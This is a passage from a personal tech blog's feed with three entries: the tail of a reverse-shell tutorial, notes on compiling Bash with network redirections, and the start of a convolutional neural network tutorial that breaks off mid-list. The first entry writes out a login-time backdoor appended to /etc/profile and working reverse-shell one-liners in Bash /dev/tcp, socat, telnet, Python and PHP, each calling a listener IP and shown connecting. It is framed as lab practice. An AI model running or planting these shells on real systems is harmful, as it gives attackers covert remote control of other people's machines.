&lt;span id=&#34;布置的步骤&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;procedure&#34; data-section=&#34;布置的步骤&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#procedure&#34;&gt;#&lt;/a&gt; Procedure&lt;/h4&gt;
&lt;p&gt;I edited the file with  &lt;code&gt;vim /etc/profile&lt;/code&gt; :&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696709/Typora/2025/06/6a8db3c08c0188c7b0a9b1d25fed3c50.png&#34; alt=&#34;image-20250615012816962&#34; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I appended  &lt;code&gt;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.158.139/23333 0&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt; .&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The extra ampersand at the end runs the command in the background.&lt;br /&gt;
That leaves the login shell available to the user.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696712/Typora/2025/06/bf591833811a31c67bcfb2741ab7ca30.png&#34; alt=&#34;image-20250615012812596&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test run&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I started the listener on port 23333.&lt;/li&gt;
&lt;li&gt;In Xshell I opened a session on the target, starting Bash.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696712/Typora/2025/06/1fe57f518c02b5c5651dc8fbfe3269c7.png&#34; alt=&#34;image-20250615012807425&#34; /&gt;&lt;/li&gt;
&lt;li&gt;Nothing was echoed in the login session, and the listener received a shell.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696713/Typora/2025/06/5d329939a4e8d82c53c712f4b54adb09.png&#34; alt=&#34;image-20250615012804072&#34; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;利用-socat-反弹-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;socat&#34; data-section=&#34;利用-socat-反弹-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#socat&#34;&gt;#&lt;/a&gt; Socat&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Socat&lt;/strong&gt; is a multipurpose networking utility for Linux, similar to netcat.&lt;br /&gt;
I used it on both ends of the reverse connection.&lt;/p&gt;
&lt;span id=&#34;下载-socat&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;downloading-socat&#34; data-section=&#34;下载-socat&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#downloading-socat&#34;&gt;#&lt;/a&gt; Downloading Socat&lt;/h3&gt;
&lt;p&gt;My Kali installation already had Socat. On a machine without it, the first step was to install it.&lt;br /&gt;
The installation command was  &lt;code&gt;apt-get install socat&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;攻击机开启监听-2&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;listener-2&#34; data-section=&#34;攻击机开启监听-2&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#listener-2&#34;&gt;#&lt;/a&gt; Listener&lt;/h3&gt;
&lt;p&gt;Command:  &lt;code&gt;socat TCP-LISTEN:23333 -&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696714/Typora/2025/06/f6ffc230be89565c17383bbe1e8262a3.png&#34; alt=&#34;image-20250615012759404&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;目标机通过-socat-建立连接&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;connecting-with-socat&#34; data-section=&#34;目标机通过-socat-建立连接&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#connecting-with-socat&#34;&gt;#&lt;/a&gt; Connecting with Socat&lt;/h3&gt;
&lt;p&gt;Command:  &lt;code&gt;socat tcp-connect:192.168.158.139:23333 exec:&#39;bash -li&#39;,pty,stderr,setsid,sigint,sane&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696716/Typora/2025/06/00614ff7b3a1a2dfdfbad02dc0df8be1.png&#34; alt=&#34;image-20250615012754642&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The resulting shell:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696723/Typora/2025/06/7b31e1aa07c5c4bdcbd9e6cafad1655a.png&#34; alt=&#34;image-20250615012750258&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;利用-telnet-反弹-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;telnet&#34; data-section=&#34;利用-telnet-反弹-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#telnet&#34;&gt;#&lt;/a&gt; Telnet&lt;/h2&gt;
&lt;p&gt;Sometimes neither Netcat nor /dev/tcp is available on the target.&lt;br /&gt;
If Telnet is installed, it offers another way to connect back.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start a listener on the receiving host.&lt;br /&gt;
Either nc or socat works.&lt;/li&gt;
&lt;li&gt;Run the command on the target to open the connection:&lt;br /&gt;
 &lt;code&gt;mknod a p; telnet 47.xxx.xxx.72 2333 0&amp;lt;a | /bin/bash 1&amp;gt;a&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696717/Typora/2025/06/db443fe2827a018ce3cb046f63793326.png&#34; alt=&#34;image-20250615012739427&#34; /&gt;&lt;/li&gt;
&lt;li&gt;The resulting shell:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696722/Typora/2025/06/d3d507d38eb37d836868b42d5f90db17.png&#34; alt=&#34;image-20250615012732507&#34; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;用-python-脚本反弹-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;python&#34; data-section=&#34;用-python-脚本反弹-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#python&#34;&gt;#&lt;/a&gt; Python&lt;/h2&gt;
&lt;p&gt;This version uses Python’s socket library.&lt;/p&gt;
&lt;p&gt;With the listener running, I used this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;quot;192.168.158.139&amp;quot;,23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;quot;/bin/sh&amp;quot;,&amp;quot;-i&amp;quot;]);&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I could also save the same Python as a .py file and run it from the command line.&lt;/p&gt;
&lt;p&gt;Here’s the setup:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696722/Typora/2025/06/ff1cae7c81c0b04929f2c86b0e788c9e.png&#34; alt=&#34;image-20250615012727025&#34; /&gt;&lt;br /&gt;
The reverse shell connected successfully:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696724/Typora/2025/06/6826b2f0cec7b82a3677a2e1e86de378.png&#34; alt=&#34;image-20250615012721830&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;用-php-脚本反弹-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;php&#34; data-section=&#34;用-php-脚本反弹-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#php&#34;&gt;#&lt;/a&gt; PHP&lt;/h2&gt;
&lt;p&gt;I started the listener and ran the following PHP script on the target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php -r &#39;$sock=fsockopen(&amp;quot;192.168.158.139&amp;quot;,23333);exec(&amp;quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;quot;);&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s the result:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696729/Typora/2025/06/fdd3929e8cec1fc5e67af1614f47d9b4.png&#34; alt=&#34;image-20250615012715771&#34; /&gt;&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696730/Typora/2025/06/c830f507fd2cc729beb4e10b7a5d18cd.png&#34; alt=&#34;image-20250615012702683&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;最后&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;closing-notes&#34; data-section=&#34;最后&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#closing-notes&#34;&gt;#&lt;/a&gt; Closing notes&lt;/h2&gt;
&lt;p&gt;After trying these approaches, I found that they all came back to the same idea.&lt;/p&gt;
&lt;p&gt;Whether implemented in a tool or a script, the basic pieces are a connection and redirection of input and output.&lt;/p&gt;
&lt;p&gt;Working through the examples made a principle that had seemed rather vague to me much clearer.&lt;/p&gt;
</content>
        <updated>2025-06-15T13:48:27.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/system/linux/building-bash-with-network-redirections/</id>
        <title>Building Bash with Network Redirections</title>
        <link rel="alternate" href="https://www.sycamore.top/en/system/linux/building-bash-with-network-redirections/"/>
        <content type="html">&lt;p&gt;I rebuilt Bash from source. These notes cover downloading the source, compiling it and switching to the new shell.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div class=&#34;note info&#34;&gt;
&lt;p&gt;I used Bash 5.1.16 in a Kali virtual machine. It was already an older release when I documented this; choose the version appropriate to your own environment.&lt;/p&gt;
&lt;/div&gt;
&lt;span id=&#34;查看-bash-shell-版本&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;check-the-installed-shell-and-bash-version&#34; data-section=&#34;查看-bash-shell-版本&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#check-the-installed-shell-and-bash-version&#34;&gt;#&lt;/a&gt; Check the installed shell and Bash version&lt;/h2&gt;
&lt;p&gt;First check the login shell configured for the account:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token builtin class-name&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;&lt;span class=&#34;token environment constant&#34;&gt;$SHELL&lt;/span&gt;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696314/Typora/2026/05/a6dc5cf7a829a5a6097d237405661fca.png&#34; alt=&#34;The account’s configured login shell is zsh&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$SHELL&lt;/code&gt;  normally contains the login shell path. My guest used zsh by default, but also had Bash installed. Check its version separately:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;bash&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;--version&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;My installed version was Bash 5.1.16:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696316/Typora/2026/05/72468c0ebb118510e769b5b84090330a.png&#34; alt=&#34;Bash version output&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;下载安装-bash&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;download-and-install-bash&#34; data-section=&#34;下载安装-bash&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#download-and-install-bash&#34;&gt;#&lt;/a&gt; Download and install Bash&lt;/h2&gt;
&lt;p&gt;I wanted to select a build option explicitly, so I built from source. You’ll need a C compiler and make. On Kali,  &lt;code&gt;sudo apt install build-essential&lt;/code&gt;  installs the build tools.&lt;/p&gt;
&lt;span id=&#34;下载&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;download&#34; data-section=&#34;下载&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#download&#34;&gt;#&lt;/a&gt; Download&lt;/h3&gt;
&lt;p&gt;Find the &lt;a href=&#34;https://ftp.gnu.org/gnu/bash/bash-5.1.16.tar.gz&#34;&gt;5.1.16 source archive&lt;/a&gt; in the &lt;a href=&#34;https://ftp.gnu.org/gnu/bash/&#34;&gt;GNU Bash download directory&lt;/a&gt; and download it with wget:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;wget&lt;/span&gt; https://ftp.gnu.org/gnu/bash/bash-5.1.16.tar.gz&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696325/Typora/2026/05/34cc060cd5b5566b1e3199248a5d1b9d.png&#34; alt=&#34;Downloading the Bash source archive&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;解压&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;extract-the-source&#34; data-section=&#34;解压&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#extract-the-source&#34;&gt;#&lt;/a&gt; Extract the source&lt;/h3&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;tar&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-zxvf&lt;/span&gt; bash-5.1.16.tar.gz&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;This creates a  &lt;code&gt;bash-5.1.16&lt;/code&gt;  directory in the working directory:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696318/Typora/2026/05/f735c3f744f1c15416e9ed316c072c5e.png&#34; alt=&#34;The extracted directory&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Change into it:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token builtin class-name&#34;&gt;cd&lt;/span&gt; bash-5.1.16&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;span id=&#34;配置编译选项&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;configure-the-build&#34; data-section=&#34;配置编译选项&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#configure-the-build&#34;&gt;#&lt;/a&gt; Configure the build&lt;/h3&gt;
&lt;p&gt;Select a separate installation prefix and explicitly enable network redirections:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;./configure &lt;span class=&#34;token parameter variable&#34;&gt;--prefix&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;/usr/local/bash --enable-net-redirections&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The  &lt;code&gt;--prefix&lt;/code&gt;  option puts the installation under  &lt;code&gt;/usr/local/bash&lt;/code&gt; , leaving the system’s existing Bash binary in place.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696325/Typora/2026/05/56ff26d1b92b96426325dc707626d147.png&#34; alt=&#34;Configuring the prefix and build option&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;编译与安装&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;compile-and-install&#34; data-section=&#34;编译与安装&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#compile-and-install&#34;&gt;#&lt;/a&gt; Compile and install&lt;/h3&gt;
&lt;p&gt;Build the configured source:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;make&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696320/Typora/2026/05/06946af30cebfad1df042a0913409994.png&#34; alt=&#34;Compiling Bash&#34; /&gt;&lt;/p&gt;
&lt;p&gt;After the build succeeds, install it under the selected prefix:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;make&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;install&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;I was running as root in the screenshot, so the command there is simply  &lt;code&gt;make install&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696323/Typora/2026/05/071576989e4ab50a87b4319ab34c6adc.png&#34; alt=&#34;Installing the compiled files&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;更换使用&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;use-the-new-shell&#34; data-section=&#34;更换使用&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#use-the-new-shell&#34;&gt;#&lt;/a&gt; Use the new shell&lt;/h2&gt;
&lt;p&gt;You can launch it directly without changing the account’s login shell:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;/usr/local/bash/bin/bash&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;To make it your login shell, check whether  &lt;code&gt;/etc/shells&lt;/code&gt;  already lists  &lt;code&gt;/usr/local/bash/bin/bash&lt;/code&gt; . If it’s absent, append it:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token builtin class-name&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#39;/usr/local/bash/bin/bash&#39;&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;tee&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-a&lt;/span&gt; /etc/shells&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Set the current account’s login shell:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;chsh &lt;span class=&#34;token parameter variable&#34;&gt;-s&lt;/span&gt; /usr/local/bash/bin/bash&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Log out and back in for the change to take effect. A full reboot isn’t necessary. Run  &lt;code&gt;echo &amp;quot;$SHELL&amp;quot;&lt;/code&gt;  after logging back in to check the configured path.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696330/Typora/2026/05/04a9e7185976fdfa19a6a6f9dec41af1.png&#34; alt=&#34;The new Bash path as the login shell&#34; /&gt;&lt;/p&gt;
</content>
        <updated>2025-04-20T05:09:20.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/artificial-intelligence/deep-learning/convolutional-neural-networks/</id>
        <title>Convolutional Neural Networks</title>
        <link rel="alternate" href="https://www.sycamore.top/en/artificial-intelligence/deep-learning/convolutional-neural-networks/"/>
        <content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Applications:&lt;/strong&gt; object detection and recognition, classification and retrieval, and super-resolution reconstruction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Central question:&lt;/strong&gt; how do we extract useful features?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;span id=&#34;整体架构&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;the-architecture&#34; data-section=&#34;整体架构&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#the-architecture&#34;&gt;#&lt;/a&gt; The architecture&lt;/h1&gt;
&lt;p&gt;In the image classifier in these notes, the convolutional network accepts the image as a three-dimensional array of height, width and channels. The spatial structure is preserved at the input instead of immediately flattening the pixels.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696385/Typora/2025/03/167d0aaa337d6567ec58d764151b8809.png&#34; alt=&#34;Convolutional network architecture for an image input&#34; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Input:&lt;/strong&gt; the image array.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convolution:&lt;/strong&gt; extract local features.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pooling:&lt;/strong&gt; reduce the spatial size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fully connected layers:&lt;/strong&gt; combine the features for prediction. Each output unit is connected to every unit in the preceding layer.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the architecture shown, a ReLU activation follows each convolution. The convolution and pooling stages extract features; the classifier flattens the feature maps into a vector for the fully connected stage.&lt;/p&gt;
&lt;span id=&#34;卷积&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;convolution&#34; data-section=&#34;卷积&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#convolution&#34;&gt;#&lt;/a&gt; Convolution&lt;/h2&gt;
&lt;p&gt;A filter combines local information across the input channels. If the input has &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; channels, a conventional dense convolutional filter spans all &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Each filter produces one output feature map. With &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; filters, the output has &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; channels.&lt;/p&gt;
&lt;p&gt;Four parameters are worth tracking:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Stride:&lt;/strong&gt; how far the window moves at each step. A smaller stride samples positions more densely; 1 is common.&lt;/li&gt;
